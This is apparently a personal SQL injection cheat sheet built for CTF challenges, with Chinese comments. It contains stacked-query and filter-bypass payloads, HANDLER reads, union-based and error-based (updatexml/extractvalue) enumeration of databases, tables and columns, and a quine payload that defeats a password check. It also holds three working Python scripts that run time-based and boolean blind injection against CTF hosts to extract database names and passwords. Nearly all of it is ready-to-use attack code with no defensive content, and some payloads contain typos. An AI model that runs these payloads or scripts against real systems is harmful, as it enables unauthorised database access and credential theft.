-1';show databases

-1';use 数据库名;show tables

-1';use 数据库名;show columns from 表名

-1';use 数据库名;set @sql=concat('select `fl','ag` fr/**/om Fl','ag');PRE/**/PARE st/**/mt1 FR/**/OM @sql;EX/**/ECUTE stmt1;#

HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…) [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE

1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#  

id=1'

id='")

id=1' and 1=2 union select 1,2,3%23

$rows[0]==$password

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')#

0x char chr等价

updatexml(1,欲查询代码,1)

extractvalue(1,欲查询代码)

or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),'2')#

select mid(flag,1,16) from flag
select mid(flag,17,16) from flag

select flag from flag limit 0,1
select flag from flag limit 0,2

id=1 and 1=1

id=1 order by 3

id=1111 union select 1,2,database()

id=1111 union select 1,2,group_concat(table_name) form information_schema.tables where table_schema=database()%23

id=1111 union select 1,2,group_concat(column_name) form information_schema.columns where and table_schema=database() table_name='users'%23

id=1111 union select 1,2,username form users%23

id=1111 union select 1,2,group_concat(schema_name) form information_schema.schemata%23

import requests,time
name = ''
for i in range(1,10):
    low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        # 爆出数据库名
        url="http://127.0.0.1/Less-9/?id=1' and if(ascii(substr((select database()),{0},1))>{1},sleep(1),0)--+".format(i,mid)
        start_time = time.time()    #   注入前的系统时间
        r = requests.get(url)
        end_time = time.time()      #   注入后的时间
        if end_time - start_time > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if mid <= 32 or mid >= 128:
        break
    name = name + chr(mid)  
    print (name)

1' or '1'='1' group by passwd with rollup having passwd is NULL — –

import requests
import time
g=0
host = "http://e7adeb0b-7190-4ea3-bd06-49e63e17e775.node4.buuoj.cn:81/backend/content_detail.php"
parse={'id':''}
def getDatabase():  #获取数据库名
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            time.sleep(0.1)
            # 1^(ascii(substr((select(database())),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(password))from(users)),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctftraining')),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema='ctftraining'(and)schema_name='ctftraining')),%d,1))<%d)^1
            # 1^(ascii(substr((select(group_concat(Flag))from(ctftraining.Flag)),%d,1))<%d)^1
            parse['id']="1^(ascii(substr((select(group_concat(Flag))from(ctftraining.Flag)),%d,1))<%d)^1" % (i,mid)
            res = requests.get(host,params=parse)
            if res.status_code!=200:
                print('!200')
                continue
            # print(res.text)
            if "title" in res.text:
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >=127:
            break
        if(mid-1==33):
            g+=1
            if(g>=5):
                break
        else:
            g=0
        ans += chr(mid-1)
        print("database is -> "+ans)
getDatabase()
# news
# admin,contents

import requests
import time
url = "http://2adc3617-76d6-4705-84e4-1c0e3f21baa2.node4.buuoj.cn:81/search.php"
payload = {
    "id" : ""
}
result = ""
g=0
for i in range(1,1000):
    l = 33
    r =130
    mid = (l+r)>>1
    while(l<r):
        payload["id"] = "0^" + "(ascii(substr((select(group_concat(password))from(F1naI1y)),{0},1))>{1})".format(i,mid)
        html = requests.post(url,params=payload)
        print(payload)
        if(html.code!=200):
            time.sleep(0.2)
            print('错误,以延迟0.2秒',html.code)
            continue
        # 正常的回显内容
        if "others" in html.text:
            l = mid+1
        else:
            r = mid
        mid = (l+r)>>1
    if(chr(mid)==" "):
        break
    result = result + chr(mid)
    #出现连续的感叹号,就停
    if(mid==33):
        g+=1
        if(g>=5):
            break
    else:
        g=0
    print(result)
print("tables: " ,result)